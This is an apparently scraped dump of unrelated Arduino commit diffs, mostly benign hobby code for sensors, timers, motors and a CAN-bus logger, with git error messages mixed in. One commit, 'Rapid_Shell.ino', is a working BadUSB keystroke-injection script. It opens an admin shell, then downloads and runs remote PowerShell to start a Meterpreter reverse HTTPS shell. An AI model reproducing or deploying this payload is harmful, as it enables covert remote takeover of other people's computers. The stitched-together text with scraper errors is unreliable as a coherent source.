+    "" CRLF
+    "";
+
+  // Construct the page; header-contents-footer
+  page << (str_P) header;
+  page << (str_P) body1;
+
+  // All unique devices
+  for (int i = 0; i < 3; i++)
+  {
+    page << (str_P) body_device1
+         << i
+         << (str_P) body_device2
+         << i
+         << (str_P) body_device3
+         << i
+         << (str_P) body_device4;
+  }
+
+  page << PSTR("
") << endl;
+
+  time_t time = RTC::time();
+  page << PSTR("
Time: ") << time << PSTR("
") << endl;
+
+  page << (str_P) footer;
+
+  // Handle queries
+  if (query != NULL)
+  {
+    char *function;
+
+    function = "all_devices_on";
+    if(strcmp(query, function) == 0) {
+      transmitter.broadcast(0, on);
+      transmitter.broadcast(1, on);
+      transmitter.broadcast(2, on);
+      transmitter.broadcast(3, on);
+    }
+
+    function = "all_devices_off";
+    if(strcmp(query, function) == 0) {
+      transmitter.broadcast(0, off);
+      transmitter.broadcast(1, off);
+      transmitter.broadcast(2, off);
+      transmitter.broadcast(3, off);
+    }
+
+    function = "device_on_0";
+    if(strcmp(query, function) == 0) {
+      transmitter.send(0, on);
+    }
+
+    function = "device_off_0";
+    if(strcmp(query, function) == 0) {
+      transmitter.send(0, off);
+    }
+
+      function = "device_on_1";
+    if(strcmp(query, function) == 0) {
+      transmitter.send(1, on);
+    }
+
+    function = "device_off_1";
+    if(strcmp(query, function) == 0) {
+      transmitter.send(1, off);
+    }
+
+    function = "device_on_2";
+    if(strcmp(query, function) == 0) {
+      transmitter.send(2, on);
+    }
+
+    function = "device_off_2";
+    if(strcmp(query, function) == 0) {
+      transmitter.send(2, off);
+    }
+  }
+}
+
+// DeviceTimer -----------------------------------------------------------------
+void
+DeviceTimer::enable()
+{
+  // Set time of the activity
+  time_t start = RTC::time();
+  start.hours = m_hours;
+  start.minutes = m_minutes;
+  start.seconds = m_seconds;
+
+  // Pass first time (in seconds after epoch time) for the first occurence of the activity
+  clock_t start_clock = start;
+  set_time(start_clock, 1, 1440);
+
+  // Enable the activity
+  Activity::enable();
+
+  #if defined(DEVMODE)
+  trace << PSTR("Enables DeviceTimer at ") << start
+        << PSTR(" (") << start_clock << PSTR(" seconds)")
+        << endl;
+  #endif
+}
+
+void
+DeviceTimer::run()
+{
+  #if defined(DEVMODE)
+  trace << PSTR("DeviceTimer dispatched: ") << endl;
+  #endif
+  time_t time = RTC::time();
+  uint8_t d = time.day;
+  if (m_day[d-1]) {
+    if (m_device != 255)
+    {
+      transmitter.send(m_device, m_mode);
+    }
+    else
+    {
+      transmitter.broadcast(0, m_mode);
+      transmitter.broadcast(1, m_mode);
+      transmitter.broadcast(2, m_mode);
+      transmitter.broadcast(3, m_mode);
+    }
+  }
+}
+
+// Function timer --------------------------------------------------------------
+void
+FunctionTimer::enable()
+{
+  // Set time of the activity
+  time_t start = RTC::time();
+  start.hours = m_hours;
+  start.minutes = m_minutes;
+  start.seconds = m_seconds;
+
+  // Pass first time (in seconds after epoch time) for the first occurence of the activity
+  clock_t start_clock = start;
+  set_time(start_clock, 1, 1440);
+
+  // Enable the activity
+  Activity::enable();
+
+  #if defined(DEVMODE)
+  trace << PSTR("Enables FunctionTimer at ") << start
+        << PSTR(" (") << start_clock << PSTR(" seconds)")
+        << endl;
+  #endif
+}
+
+void
+FunctionTimer::run()
+{
+  #if defined(DEVMODE)
+  trace << PSTR("FunctionTimer dispatched: ") << endl;
+  #endif
+  time_t time = RTC::time();
+  uint8_t d = time.day;
+  if (m_day[d-1]) {
+    m_function();
+  }
+}
+
+// FUNCTIONS ===================================================================
+// Time functions --------------------------------------------------------------
+/**
+ * Update the Real Time Clock on the Arduino. Also updates the time in all the
+ * alarms and activities.
+ */
+void
+update_RTC()
+{
+  // Update the RTC
+  RTC::time(get_NTP_time());
+
+  // Match time in Alarm with RTC
+  Alarm::set_time(RTC::time());
+}
+
+/**
+ * Get the current time from a NTP.
+ */
+clock_t
+get_NTP_time()
+{
+  uint8_t server[4];
+
+  // Use DNS to get the NTP server network address
+  DNS dns;
+  ethernet.get_dns_addr(server);
+  if (!dns.begin(ethernet.socket(Socket::UDP), server)) return 0L;
+  if (dns.gethostbyname_P(PSTR(TIME_NTP_SERVER), server) != 0) return 0L;
+
+  // Connect to the NTP server using given socket
+  NTP ntp(ethernet.socket(Socket::UDP), server, TIME_ZONE);
+
+  // Get current time. Allow a number of retries
+  const uint8_t RETRY_MAX = 20;
+  clock_t clock;
+  for (uint8_t retry = 0; retry < RETRY_MAX; retry++)
+    if ((clock = ntp.time()) != 0L) break;
+  ASSERT(clock != 0L);
+
+  return clock;
+}
+
+// MAIN PROGRAM ================================================================
+void
+setup()
+{
+  #if defined(DEVMODE)
+  uart.begin(9600);
+  trace.begin(&uart, PSTR("ElFi: start"));
+  #endif
+
+  // Start the watchdog, real-time clock and the alarm scheduler
+  Watchdog::begin(16, Watchdog::push_timeout_events);
+  RTC::begin();
+  scheduler.begin();
+
+  // Initiate the Ethernet Controller using DHCP
+  ASSERT(ethernet.begin_P(PSTR("ElFi")));
+
+  // Start the server
+  ASSERT(server.begin(ethernet.socket(Socket::TCP, PORT)));
+
+  // Clock settings
+  time_t::epoch_year( NTP_EPOCH_YEAR );
+  time_t::epoch_weekday = NTP_EPOCH_WEEKDAY;
+  time_t::pivot_year = 37; // 1937..2036 range
+
+  // Set the clock
+  update_RTC();
+
+  #if defined(DEVMODE)
+  // Print current time
+  time_t time = RTC::time();
+  trace << PSTR("Current time ") << time << endl;
+  #endif
+
+  // Enable the timer handlers
+  int m = sizeof(functionTimers)/sizeof(*functionTimers);
+  for (int i = 0; i < m; i++) {
+    functionTimers[i].enable();
+  }
+
+  m = sizeof(deviceTimers)/sizeof(*deviceTimers);
+  for (int i = 0; i < m; i++) {
+    deviceTimers[i].enable();
+  }
+}
+
+void loop()
+{
+  // The standard event dispatcher
+  Event event;
+  while (Event::queue.dequeue( &event ))
+    event.dispatch();
+
+  // Service incoming requests
+  server.run(5L);
+}


Nightly

Nightly

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/rniemand/ArduinoProjects.git/'


Finished V03

Finished V03

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/Omemanti/MantiOT.git/'


Using struct dataset now. Prescaler changed back to /16 until I can get this working. Now using aggregate data from 10,000 adc readings. Paves the way for better data analysis in the future. For now just computing average, max, and min, to see how different prescaler (adc speed) settings affect measurements.

error: pathspec 'Motor' did not match any file(s) known to git
error: pathspec 'Speed/testMeasurementSpeeds/testMeasurementSpeeds.ino' did not match any file(s) known to git


Add the ability to download a sequence and step though it under blue tooth and thermal control

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/bradgrantham/lathser.git/'


Create Rapid_Shell.ino

Create Rapid_Shell.ino

This program do the following:
1/Starts Command prompt as Administrator
2/Run a powershell script which self-creates/opens a metasploit payload seemlessly

Running time: 30 seconds (+- 5 seconds)
Exposed time: 66%

error: pathspec 'Rapid_Shell/Rapid_Shell.ino' did not match any file(s) known to git

--- Rapid_Shell/Rapid_Shell.ino
+++ Rapid_Shell/Rapid_Shell.ino
@@ -0,0 +1,45 @@
+#include "DigiKeyboard.h"
+// This script is designed for use on Windows machines with QWERTY as a keyboard layout
+// As DigiKeyboard Library does not support AZERTY text yet in print(), you have to use the "az_qw_convert.sh" script to convert AZERTY to QWERTY layout.
+// For more scripts checkout: https://git.io/vAGf4
+// Developer: NBN | 02/13/2018 @19:00
+void setup() {
+  // Initialize the digital pin as an output.
+  pinMode(1, OUTPUT); //LED on Model A
+}
+// Infinite loop
+void loop() {
+
+  DigiKeyboard.sendKeyStroke(0);
+  DigiKeyboard.delay(500);
+  digitalWrite(1, HIGH); // LED on <--> Action start
+// BEGIN - Open CMD in Administrator Privileges
+  DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT);
+  DigiKeyboard.delay(1500);
+  DigiKeyboard.print("c;d");
+  DigiKeyboard.delay(1500);
+  DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT | MOD_SHIFT_LEFT);
+  DigiKeyboard.delay(1000);
+  DigiKeyboard.sendKeyStroke(0);
+  DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
+  DigiKeyboard.delay(500);
+  DigiKeyboard.sendKeyStroke(KEY_ENTER);
+// END - Open CMD in Administrator Privileges
+  DigiKeyboard.delay(1500);
+  DigiKeyboard.println("MODE CON: COLS=15 LINES=1");
+  DigiKeyboard.delay(250);
+  DigiKeyboard.println("cd %TEMP%");
+  DigiKeyboard.delay(250);
+  DigiKeyboard.println("copy con tmp.cmd");
+  DigiKeyboard.delay(500);
+  DigiKeyboard.println("start C:/Windows/System32/Ribbons.scr /s");
+  DigiKeyboard.delay(250);
+  DigiKeyboard.println("powershell "IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/14bZZ0c'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost <IP_ADDRESS> -Lport <PORT> -Force""); // Edit both Lhost and Lport according to your setup
+  DigiKeyboard.delay(250);
+  DigiKeyboard.sendKeyStroke(KEY_W, MOD_CONTROL_LEFT); // Save the file and return to cmd shell use delay of 500ms
+  DigiKeyboard.sendKeyStroke(KEY_ENTER);
+  DigiKeyboard.delay(500);
+  DigiKeyboard.println("tmp.cmd && exit"); // Start the payload file and exit (DANGEROUS/OFFENSIVE STEP! Please comment this line if you want to test inoffensively on your own PC)
+  digitalWrite(1, LOW); // LED off <--> Action end
+  DigiKeyboard.delay(5000); // 5 seconds delay to unplug the device safely between loops
+}


Create ESP_chip_id.ino

Create ESP_chip_id.ino

error: pathspec 'sample/ESP_chip_id.ino' did not match any file(s) known to git

--- sample/ESP_chip_id.ino
+++ sample/ESP_chip_id.ino
@@ -0,0 +1 @@
+


Adding first Nucleo benchmark; thread context switch (12-13 us).

error: pathspec 'examples/Nucleo/CosaNucleoBenchmark/CosaNucleoBenchmark.ino' did not match any file(s) known to git

--- examples/Nucleo/CosaNucleoBenchmark/CosaNucleoBenchmark.ino
+++ examples/Nucleo/CosaNucleoBenchmark/CosaNucleoBenchmark.ino
@@ -0,0 +1,72 @@
+/**
+ * @file CosaNucleoBenchmark.ino
+ * @version 1.0
+ *
+ * @section License
+ * Copyright (C) 2014, Mikael Patel
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General
+ * Public License along with this library; if not, write to the
+ * Free Software Foundation, Inc., 59 Temple Place, Suite 330,
+ * Boston, MA  02111-1307  USA
+ *
+ * @section Description
+ * Cosa Nucleo Thread benchmarks
+ * 1) Run 1,000,000 context switches (12-13 us)
+ *
+ * This file is part of the Arduino Che Cosa project.
+ */
+
+#include "Cosa/RTC.hh"
+#include "Cosa/Trace.hh"
+#include "Cosa/Watchdog.hh"
+#include "Cosa/Nucleo/Thread.hh"
+#include "Cosa/IOStream/Driver/UART.hh"
+
+class Benchmark : public Nucleo::Thread {
+public:
+  virtual void run();
+};
+
+void
+Benchmark::run()
+{
+  // This will force 1,000,000 context switches as the Nucleo main thread
+  // will context switch back for each loop; 2*500*1000 in total
+  // The loop handling and RTC access are included but very small values.
+  while (1) {
+    uint32_t start = RTC::micros();
+    for (uint16_t i = 0; i < 500; i++)
+      for (uint16_t j = 0; j < 1000; j++)
+	yield();
+    uint32_t stop = RTC::micros();
+    trace << PSTR("yield: ") << (stop - start) / 1000000 << PSTR(" us") << endl;
+  }
+}
+
+Benchmark bench;
+
+void setup()
+{
+  uart.begin(9600);
+  trace.begin(&uart, PSTR("CosaNucleoBenchmark: started"));
+  Watchdog::begin();
+  RTC::begin();
+  Nucleo::Thread::begin(&bench, 128);
+}
+
+void loop()
+{
+  Nucleo::Thread::begin();
+  ASSERT(true == false);
+}


For Arduino with 10DOF and DHT22 module

For Arduino with 10DOF and DHT22 module

error: pathspec 'ArduinoTimingLight.ino' did not match any file(s) known to git

--- ArduinoTimingLight.ino
+++ ArduinoTimingLight.ino
@@ -0,0 +1,174 @@
+#include <SFE_BMP180.h>
+#include "DHT.h"
+
+#define DHTPIN 2
+#define DHTTYPE DHT22
+#define SERIALWAIT 200
+
+int DELAY_TIME = 30000; //Delay Time between each processData() call (ms)
+
+DHT dht(DHTPIN, DHTTYPE);
+SFE_BMP180 pressure;
+
+float h = 0;   //Luftfeuchte auslesen
+float t = 0;   //Temperatur auslesen
+float r = 0;   //Heat-Index berechnen
+double p0 = 0; //Wert fuer Luftdruck
+
+void initSerial(void)
+{
+  Serial.begin(9600);
+  Serial.flush();
+}
+
+void initSensors(void)
+{
+  dht.begin();
+  pressure.begin();
+}
+
+
+
+void setup(void)
+{
+  initSerial();
+  initSensors();
+}
+
+void checkSerialData()
+{
+  for (int i = 1; i <=100; i++)
+  {
+    if ((Serial.available() > 0))
+    {
+      processIncomingData(Serial.readString());
+      Serial.flush();
+    }
+    delay(DELAY_TIME / 100);
+  }
+}
+
+void loop(void)
+{
+  processData();
+  checkSerialData();
+}
+
+void processIncomingData(String data)
+{
+  if (data == "HELP")
+  {
+    Serial.println("REPLY|PROTOCOL_VERSION|GETTIMING|GET_TEMP_ARDUINO|DATA|SETTIMING|EOF");
+    return;
+  } else if (data == "PROTOCOL_VERSION")
+  {
+    Serial.println("REPLY|V2|EOF");
+    return;
+  } else if (data == "GETTIMING")
+  {
+    Serial.print("REPLY|TIMING|");
+    Serial.print(DELAY_TIME);
+    Serial.println("|ms|EOF");
+    return;
+  } else if (data == "GET_TEMP_ARDUINO")
+  {
+    Serial.println("REPLY|FOUND_ARDUINO|EOF");
+    return;
+  } else if (data == "DATA")
+  {
+    writeSerialProtocolV2(h, t, r, p0);
+    return;
+  } else if (data.startsWith("SETTIMING|"))
+  {
+    String tmp = data.substring(10);
+    int newTiming = tmp.toInt();
+
+    if (newTiming < 10000 || newTiming > 60000)
+    {
+      Serial.println("REPLY|ERROR_SET_TIMING_NOT_BETWEEN_10000_AND_60000_MS|EOF");
+    } else
+    {
+      DELAY_TIME = newTiming;
+      Serial.print("REPLY|OK_SET_TO_NEW_TIMING_");
+      Serial.print(DELAY_TIME);
+      Serial.println("_MS|EOF");
+    }
+    return;
+  }
+
+  Serial.println("REPLY|FEHLER: Nicht Implementiert!|EOF");
+}
+
+
+void writeSerialProtocolV2(float humanity, float temperature, float heatIndex, double airPressure)
+{
+  Serial.print("START");
+  Serial.print("|"); // delim
+  Serial.print("LEN:4"); //4 Werte werden uebertragen
+  Serial.print("|"); // delim
+  Serial.print(humanity); // Luftfeuchte
+  Serial.print("|"); // delim
+  Serial.print(temperature); // Temperatur
+  Serial.print("|"); // delim
+  Serial.print(heatIndex); // HeatIndex
+  Serial.print("|");
+  Serial.print(airPressure); //Luftdruck millibar
+  Serial.print("|"); // delim
+  Serial.println("EOF");
+  Serial.flush();
+  delay(SERIALWAIT);
+}
+
+
+bool getPressure(double * value)
+{
+  double T,P;
+  char st;
+
+  st = pressure.startTemperature();
+
+  if (st != 0)
+  {
+    delay(st);
+    st = pressure.getTemperature(T);
+  }
+
+  st = pressure.startPressure(3);
+
+  if (st != 0)
+  {
+    delay(st);
+
+    st = pressure.getPressure(P,T);
+
+    if (st != 0)
+    {
+      *value = P;
+      return true;
+    }
+  }
+  return false;
+}
+
+void processData()
+{
+  h = dht.readHumidity();     //Luftfeuchte auslesen
+  t = dht.readTemperature();  //Temperatur auslesen
+  r = dht.computeHeatIndex(t, h, false); //Heat-Index berechnen
+  p0 = 0; //Wert fuer Luftdruck
+  bool pressAvailable = getPressure(&p0); //Luftdruck lesen
+
+  if (isnan(t) || isnan(h) || isnan(r) || !pressAvailable) //Fehler beim Lesen eines der Daten
+  {
+    if (Serial)
+    {
+      Serial.println("Fehler: Daten konnten gelesen werden!");
+      Serial.flush();
+    }
+  }
+  else
+  {
+    writeSerialProtocolV2(h, t, r, p0);
+  }
+
+}


Created ability to add digital sensors on digital pins 3, 4, and 5.

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/DrewMeyersCUboulder/UPOD_Bridge.git/'


Arduino: Add current untested Arduino files

error: pathspec 'src/Arduino/RobotCtrl/RobotCtrl.ino' did not match any file(s) known to git

--- src/Arduino/RobotCtrl/RobotCtrl.ino
+++ src/Arduino/RobotCtrl/RobotCtrl.ino
@@ -0,0 +1,209 @@
+/*
+  Blink
+  Turns on an LED on for one second, then off for one second, repeatedly.
+
+  Most Arduinos have an on-board LED you can control. On the Uno and
+  Leonardo, it is attached to digital pin 13. If you're unsure what
+  pin the on-board LED is connected to on your Arduino model, check
+  the documentation at http://www.arduino.cc
+
+  This example code is in the public domain.
+
+  modified 8 May 2014
+  by Scott Fitzgerald
+ */
+
+// Pins In USE
+// Motor PWM
+int PIN_LEFT_REV = 3;
+int PIN_LEFT_FOR = 5;
+
+int PIN_RIGHT_REV = 6;
+int PIN_RIGHT_FOR = 9;
+
+// Serial Pins are only used by the Serial Driver
+int PIN_SERIAL_RX = 0;
+int PIN_SERIAL_TX = 1;
+
+// Note SPI Pins are Used by the ODROID
+int PIN_SPI_SS   = 10;
+int PIN_SPI_MOSI = 11;
+int PIN_SPI_MISO = 12;
+int PIN_SPI_SCK  = 13;
+
+// Command Strings
+// // Incoming
+String CMD_IN_DRIVE_MOTOR_CTRL = "DMC";
+String CMD_IN_PROGRAM = "PROG";         // Sets spi lines back to high impedence for ISP
+
+// // Outgoing
+String CMD_OUT_READY = "READY";
+String CMD_OUT_DRIVE_MOTOR_LEFT_SPEED = "DMLS";
+String CMD_OUT_DRIVE_MOTOR_RIGHT_SPEED = "DMRS";
+
+String inputString = "";         // a string to hold incoming data
+boolean stringComplete = false;  // whether the string is complete
+
+// the setup function runs once when you press reset or power the board
+void setup() {
+
+  // Wait 10 seconds before starting to give the ISP programmer a chance to kick in
+  //  Will remove once the prog command is tested
+  delay(10000);
+
+  // initialize digital pin b2-b5 as input so they can be used as spi bus
+  digitalWrite(PIN_SPI_SS, LOW);
+  digitalWrite(PIN_SPI_MOSI, LOW);
+  digitalWrite(PIN_SPI_MISO, LOW);
+  digitalWrite(PIN_SPI_SCK, LOW);
+
+  // SPI Pins are inputs
+  pinMode(PIN_SPI_SS, INPUT);
+  pinMode(PIN_SPI_MOSI, INPUT);
+  pinMode(PIN_SPI_MISO, INPUT);
+  pinMode(PIN_SPI_SCK, INPUT);
+
+  // PWM pins as outputs
+  pinMode(PIN_LEFT_REV,  OUTPUT);
+  pinMode(PIN_LEFT_FOR,  OUTPUT);
+  pinMode(PIN_RIGHT_REV, OUTPUT);
+  pinMode(PIN_RIGHT_FOR, OUTPUT);
+
+  inputString.reserve(200);  // Reserve space for incoming command
+  Serial.begin(115200);      // open the serial port at 9600 bps:
+
+  Serial.print(CMD_OUT_READY+"\n");
+}
+
+// the loop function runs over and over again forever
+void loop()
+{
+  // Decode the string when a newline arrives:
+  if (stringComplete)
+  {
+    // Temp debug code
+    String echo = String("echo: ");
+    Serial.println(echo+inputString);
+    String DecodeString = inputString;
+    // clear the string early incase more comes in
+    inputString = "";
+    stringComplete = false;
+
+    // Decode commands
+    //   Extract command name before (:)
+    DecodeString.trim();
+    String CMDString;
+    String DataString;
+
+    int DecodeSplit = DecodeString.indexOf(':');
+    if (DecodeSplit == -1)
+    {
+       CMDString = DecodeString;
+    }
+    else
+    {
+       CMDString = DecodeString.substring(0,DecodeSplit);
+       DataString = DecodeString.substring(DecodeSplit+1);
+    }
+
+    String dcd = String("dcd::");
+    Serial.print(dcd+CMDString+"::"+DataString+"\n");
+
+     // Main Drive Motor Control, value from -100 to 100
+     if (CMDString == CMD_IN_DRIVE_MOTOR_CTRL)
+     {
+       int DataSplit = DataString.indexOf(',');
+       String LeftStr = String("0");
+       String RightStr = String("0");
+       if (DataSplit == -1)
+       {
+          LeftStr = DecodeString;
+       }
+       else
+       {
+         LeftStr = DecodeString.substring(0,DataSplit);
+         RightStr = DecodeString.substring(DataSplit+1);
+       }
+
+       leftMotorSpeed(LeftStr.toInt());
+       rightMotorSpeed(RightStr.toInt());
+     }
+     else if (CMDString == CMD_IN_PROGRAM)
+     {
+       // SPI Pins back to High for ISP
+       digitalWrite(PIN_SPI_SS,   HIGH);
+       digitalWrite(PIN_SPI_MOSI, HIGH);
+       digitalWrite(PIN_SPI_MISO, HIGH);
+       digitalWrite(PIN_SPI_SCK,  HIGH);
+
+       Serial.print(CMD_OUT_READY+" Program\n");
+     }
+  }
+
+}
+
+/*
+  SerialEvent occurs whenever a new data comes in the
+ hardware serial RX.  This routine is run between each
+ time loop() runs, so using delay inside loop can delay
+ response.  Multiple bytes of data may be available.
+ */
+void serialEvent() {
+  while (Serial.available()) {
+    // get the new byte:
+    char inChar = (char)Serial.read();
+    // add it to the inputString:
+    inputString += inChar;
+    // if the incoming character is a newline, set a flag
+    // so the main loop can do something about it:
+    if (inChar == '\n') {
+      stringComplete = true;
+    }
+  }
+}
+
+// Sets left Motor Speed -100 to 100
+void leftMotorSpeed(int Speed)
+{
+    if (Speed == 0)
+   {
+     analogWrite(PIN_LEFT_REV, 0);
+     analogWrite(PIN_LEFT_FOR, 0);
+   }
+   else if (Speed < 0)
+   {
+     Speed = Speed*-1;
+     // Convert from 0-100 to 0-255
+     analogWrite(PIN_LEFT_FOR, 0);
+     analogWrite(PIN_LEFT_REV, (Speed/100)*255);
+   }
+   else
+   {
+     analogWrite(PIN_LEFT_REV, 0);
+     analogWrite(PIN_LEFT_FOR, (Speed/100)*255);
+   }
+   Serial.print(CMD_OUT_DRIVE_MOTOR_LEFT_SPEED+":"+Speed+"\n");
+}
+
+void rightMotorSpeed(int Speed)
+  {
+    if (Speed == 0)
+     {
+       analogWrite(PIN_RIGHT_REV, 0);
+       analogWrite(PIN_RIGHT_FOR, 0);
+     }
+     else if (Speed < 0)
+     {
+       Speed = Speed*-1;
+       // Convert from 0-100 to 0-255
+       analogWrite(PIN_RIGHT_FOR, 0);
+       analogWrite(PIN_RIGHT_REV, (Speed/100)*255);
+     }
+     else
+     {
+       analogWrite(PIN_RIGHT_REV, 0);
+       analogWrite(PIN_RIGHT_FOR, (Speed/100)*255);
+     }
+     Serial.print(CMD_OUT_DRIVE_MOTOR_RIGHT_SPEED+":"+Speed+"\n");
+}
+


Use BUILTIN_LED

Use BUILTIN_LED

--- hardware/esp8266com/esp8266/libraries/esp8266/examples/BlinkWithoutDelay/BlinkWithoutDelay.ino
+++ hardware/esp8266com/esp8266/libraries/esp8266/examples/BlinkWithoutDelay/BlinkWithoutDelay.ino
@@ -3,11 +3,12 @@
  Blink the blue LED on the ESP-01 module
  Based on the Arduino Blink without Delay example
  This example code is in the public domain
+
+ The blue LED on the ESP-01 module is connected to GPIO1
+ (which is also the TXD pin; so we cannot use Serial.print() at the same time)
+
+ Note that this sketch uses BUILTIN_LED to find the pin with the internal LED
 */
-
-const int ledPin =  1;  // The blue LED on the ESP-01 module is connected to GPIO1
-                        // (which is also the TXD pin; so we cannot use
-                        // Serial.print() at the same time

 int ledState = LOW;

@@ -15,7 +16,7 @@
 const long interval = 1000;

 void setup() {
-  pinMode(ledPin, OUTPUT);
+  pinMode(BUILTIN_LED, OUTPUT);
 }

 void loop()
@@ -27,7 +28,6 @@
       ledState = HIGH;  // Note that this switches the LED *off*
     else
       ledState = LOW;   // Note that this switches the LED *on*
-    digitalWrite(ledPin, ledState);
+    digitalWrite(BUILTIN_LED, ledState);
   }
 }
-


Create retouch_accelero.ino

Create retouch_accelero.ino

error: pathspec 'Arduino/retouch_accelero.ino' did not match any file(s) known to git

--- Arduino/retouch_accelero.ino
+++ Arduino/retouch_accelero.ino
@@ -0,0 +1,105 @@
+/*
+Connect SCLK, MISO, MOSI, and CSB of ADXL362 to
+SCLK, MISO, MOSI, and DP 10 of Arduino
+(check http://arduino.cc/en/Reference/SPI for details)
+
+*/
+
+#include <SPI.h>
+#include <ADXL362.h>
+#include <CapacitiveSensor.h>
+
+ADXL362 xl;
+
+int16_t temp;
+int16_t XValue, YValue, ZValue, Temperature;
+
+CapacitiveSensor capSensor = CapacitiveSensor(7,6);
+CapacitiveSensor capSensor2 = CapacitiveSensor(8,9);
+int threshold = 360;
+
+int statoplay= 8;
+int stato= 0;
+int traccia = 0;
+
+void setup(){
+
+  Serial.begin(2400);
+  xl.begin(10);                   // Setup SPI protocol, issue device soft reset
+  xl.beginMeasure();              // Switch ADXL362 to measure mode
+
+  Serial.println("ReAudioguide touch + accelero: test dei sensori");
+}
+
+void loop(){
+  long sensorValue = capSensor.capacitiveSensor(3);
+  long sensorValue2 = capSensor2.capacitiveSensor(3);
+
+   if(sensorValue2 > threshold){
+     if(traccia != 2){
+       Serial.write(2); //Basso,
+       //Serial.print("\n Traccia Ordine basso ");
+       traccia = 2;
+     }
+  }
+  if(sensorValue > threshold) {
+    if(traccia != 1){
+     Serial.write(1); //Piazza,
+     //Serial.print("\n Traccia Piazza ");
+     traccia = 1;
+    }
+  }
+  xl.readXYZTData(XValue, YValue, ZValue, Temperature);
+
+  if(XValue > 1100 || XValue < -1100) {
+    if(statoplay != 8){
+      Serial.write(8); //Pausa,
+      //Serial.print("\n PAUSA ");
+      statoplay = 8; // ex statoplay
+      traccia = 0;
+    }
+  }else{
+     if((statoplay != 9)&&(XValue < 600 && XValue > -600)){
+       Serial.write(9); //Play,
+       //Serial.print("\n PLAY ");
+       statoplay=9; // ex statoplay
+       traccia = 0;
+     }
+  }
+  if(YValue > 500) {
+    if(YValue > 1200) {
+      if(stato != 12){
+         Serial.write(12); //Rewind,
+         //Serial.print("\n REWIND ");
+         stato=12;
+      }
+    }else{
+      if(stato == 12){
+        if(YValue < 700) {
+          Serial.write(9); //Play,
+          //Serial.print("\n PLAY ");
+          stato=0;
+        }
+      }
+    }
+  }
+  if(YValue < -500) {
+    if(YValue < -1200) {
+      if(stato != 22){
+         Serial.write(22); //Foward,
+         //Serial.print("\n FOWARD ");
+         stato=22;
+      }
+    }else{
+      if(stato == 22){
+        if(YValue > -700) {
+          Serial.write(9); //Play,
+          //Serial.print("\n PLAY ");
+          stato=0;
+        }
+      }
+    }
+  }
+/* Serial.println(Temperature);	 */
+  delay(30);
+}


new serial print just for testing

new serial print just for testing

error: pathspec 'Motor' did not match any file(s) known to git
error: pathspec 'Code/MotorsTX_EZ/MotorsTX_EZ.ino' did not match any file(s) known to git


Create mileduino.ino

Create mileduino.ino

Copy of mileduinoCANCalcMega.ino

error: pathspec 'mileduino.ino' did not match any file(s) known to git

--- mileduino.ino
+++ mileduino.ino
@@ -0,0 +1,155 @@
+#include <SD.h>
+#include <CanbusMega.h>
+//#include <SoftwareSerial.h>
+#include <TinyGPS.h>
+
+#define GPSRATE 4800
+
+//SoftwareSerial for lcd
+//SoftwareSerial lcd = SoftwareSerial(0, 16);
+//pin for the SD card
+const int chipSelect = 9;
+//buffer for stuff off the CAN bus
+char buffer[10];
+
+//for MPG calculation
+float massAirFlow = 0.0;
+float vehicleSpeed = 0.0;
+float MPG = 0.0;
+char* mpgBuf;
+const float multiplier1 = 41177.346;
+const float multiplier2 = 0.621371;
+const int multiplier3 = 3600;
+
+//GPS object
+TinyGPS gps;
+
+void getData(TinyGPS &gps);
+
+void setup()
+{
+  Serial.begin(9600);
+  Serial2.begin(9600);
+  Serial3.begin(GPSRATE);
+  LCDinitialize();
+  LCDsetContrast(50);
+  LCDsetBrightness(8);
+  if(!SD.begin(chipSelect))
+  {
+    return;
+  }
+
+  Canbus.init(CANSPEED_500);
+
+  LCDclear();
+  LCDsetCursor(1,0);
+  Serial2.print("   Mileduino");
+  delay(3000);
+
+  LCDclear();
+  //Removes old CANGPS.TXT file.
+  if(SD.exists("CANGPS.TXT"))
+  {
+    SD.remove("CANGPS.TXT");
+  }
+}
+void loop()
+{
+  while(Serial3.available())
+  {
+    int c= Serial3.read();
+    if(gps.encode(c))
+    {
+      getData(gps);
+    }
+  }
+}
+
+void getData(TinyGPS &gps)
+{
+  float latitude, longitude;
+
+  File outFile = SD.open("CANGPS.TXT", FILE_WRITE);
+  gps.f_get_position(&latitude, &longitude);
+  if((Canbus.ecu_req(MAF_SENSOR, buffer) == 1))
+    {
+      massAirFlow = atof(buffer);
+    }
+    if((Canbus.ecu_req(VEHICLE_SPEED, buffer) == 1))
+    {
+      vehicleSpeed = atof(buffer);
+    }
+
+    MPG = (multiplier1 * (vehicleSpeed * multiplier2))/ (multiplier3 * massAirFlow);
+
+    LCDsetCursor(1, 1);
+    //lcd.print("MPG: ");
+    Serial2.print("MPG: ");
+    LCDsetCursor(2, 1);
+    //lcd.print(MPG);
+    Serial2.print(MPG, 2);
+    outFile.print("mpg,");
+    outFile.print(MPG, 2);
+    outFile.print("\n");
+    outFile.print("lat,");
+    outFile.print(latitude,6);
+    outFile.print("\n");
+    outFile.print("long,");
+    outFile.print(longitude,6);
+    outFile.print("\n");
+    outFile.close();
+}
+
+void LCDinitialize(){
+  //lcd.write(0xFE);
